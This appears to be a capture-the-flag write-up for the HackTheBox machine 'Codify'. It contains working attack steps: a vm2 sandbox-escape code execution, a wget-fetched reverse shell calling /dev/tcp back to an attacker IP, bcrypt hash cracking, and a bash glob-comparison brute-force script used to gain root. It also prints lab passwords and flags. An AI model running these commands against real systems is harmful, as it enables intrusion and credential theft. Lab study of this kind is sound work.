Codify — HTB¶
IP: 10.129.44.100
OS: Ubuntu Linux
Date Started: 2026-03-04
Hostname: codify.htb (added to /etc/hosts)
Enumeration¶
Nmap¶
Three open ports:
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
80/tcp open http Apache httpd 2.4.52 (redirects to http://codify.htb/)
3000/tcp open http Node.js Express framework (title: "Codify")
- Apache on port 80 redirects to
codify.htb - Port 3000 is a Node.js Express app — likely the actual application behind Apache reverse proxy
- SSH version suggests Ubuntu 22.04 (Jammy)
Web¶
Stack: Node.js Express (port 3000), Apache reverse proxy (port 80)
Key Endpoints:
| Path | Notes |
|---|---|
/editor |
Online Node.js code editor with "Run" button |
/limitations |
Lists restricted modules and whitelist |
/about |
Reveals vm2 sandbox library |
Restrictions listed on /limitations:
- Blocked modules: child_process, fs
- Whitelisted: url, crypto, util, events, assert, stream, path, os, zlib
Critical finding: /about page states the app uses the vm2 library for sandboxing.
vm2 Sandbox Escape (CVE-2023-30547)¶
vm2 <= 3.9.16 has a sandbox escape vulnerability. Exploiting it allows code execution outside the sandbox, bypassing all module restrictions.
Confirmed RCE by running in the editor:
const { spawnSync } = require('node:child_process');
const result = spawnSync('id');
console.log(result.stdout.toString());
Output: uid=1001(svc) gid=1001(svc) groups=1001(svc)
Foothold¶
Reverse Shell as svc¶
Direct bash reverse shell via spawnSync didn't work — spawnSync passes arguments as an array directly to the process (no shell interpretation), so >& redirect syntax isn't processed.
Workaround: Hosted a reverse shell script on a Python HTTP server, pulled it down with wget, then executed it with bash.
# On attacker box — create rev shell script
cat YourMomsRevShell.sh
# sh -i >& /dev/tcp/10.10.14.24/42069 0>&1
# Serve it
python3 -m http.server 553
// In the editor — download the script
const { spawnSync } = require('node:child_process');
const result = spawnSync('wget',['10.10.14.24:553/YourMomsRevShell.sh']);
console.log(result.stdout.toString());
// In the editor — execute the script
const { spawnSync } = require('node:child_process');
const result = spawnSync('bash',['YourMomsRevShell.sh']);
console.log(result.stdout.toString());
Reverse shell obtained as svc (uid=1001).
Internal Enumeration¶
- Two users in
/home/:svcandjoshua joshua/user.txtnot readable bysvcsudo -lrequires password (don't have svc's password)
Found SQLite database at /var/www/contact/tickets.db:
$ strings tickets.db
Database contains a users table with joshua's bcrypt hash:
| User | Hash |
|---|---|
| joshua | $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2 |
Privilege Escalation¶
Hash Cracking → SSH as joshua¶
Cracked joshua's bcrypt hash with John:
echo 'joshua:$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' > loot/joshua_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt loot/joshua_hash.txt
Result: joshua → spongebob1
ssh [email protected]
# Password: spongebob1
User flag: e68ade154d9e5d0e9aa237afb6ffc645
joshua → root (Bash Glob Pattern Exploit)¶
joshua@codify:~$ sudo -l
# (root) /opt/scripts/mysql-backup.sh
The script (/opt/scripts/mysql-backup.sh):
- Reads the root password from /root/.creds into $DB_PASS
- Prompts for user input into $USER_PASS
- Compares them with: if [[ $DB_PASS == $USER_PASS ]]
The vulnerability: $USER_PASS is unquoted on the right side of == inside [](<#>). In bash, an unquoted right-hand side is treated as a glob pattern, not a literal string. Entering * matches anything.
Bypass confirmed:
echo "*" | sudo /opt/scripts/mysql-backup.sh
# Password confirmed!
Brute-force script to extract the actual password character by character — if k* matches, the password starts with k. Then try ka*, kb*... to find the second character, and so on:
#!/bin/bash
password=""
characters="abcdefghijklmnopqrstuvwxyz0123456789"
while true; do
found=false
for (( i=0; i<${#characters}; i++ )); do
char="${characters:$i:1}"
if echo "${password}${char}*" | sudo /opt/scripts/mysql-backup.sh 2>/dev/null | grep -q "confirmed"; then
password+="$char"
echo "Found so far: $password"
found=true
break
fi
done
if [ "$found" = false ]; then
echo "Final password: $password"
break
fi
done
Result: kljh12k3jhaskjh12kjh3
su - root
# Password: kljh12k3jhaskjh12kjh3
cat /root/root.txt
Root flag: 6ef0b42bf0847f1650805cda1c84a37a
Flags¶
- User:
e68ade154d9e5d0e9aa237afb6ffc645 - Root:
6ef0b42bf0847f1650805cda1c84a37a
Lessons Learned¶
- vm2 sandbox escape (CVE-2023-30547) — if an app advertises vm2, check the version. <= 3.9.16 is trivially escapable
spawnSyncvs shell execution —spawnSyncdoesn't interpret shell redirects (>&). To use bash syntax, either: (a) useexecSyncwhich runs through a shell, or (b) download and execute a script file- Hosting a rev shell on HTTP is a reliable fallback when direct injection is tricky —
wget+bash script.shworks cleanly - SQLite databases in web app directories are credential goldmines — always
stringsor query them - Bcrypt cost factor matters — cost 12 is ~4x slower to crack than cost 10, but rockyou still works for weak passwords
- Bash
[](<#>)glob comparison — if the right side of==is unquoted inside[](<#>), it's treated as a glob pattern.*matches everything. This is a real privilege escalation vector when scripts compare secrets this way - Character-by-character brute-force via glob patterns —
a*,ab*,abc*... leaks passwords one character at a time when you can repeatedly trigger a comparison - Always read sudo scripts — the vulnerability wasn't in what the script does, but in how it compares strings. A single missing pair of quotes around
$USER_PASSgave us root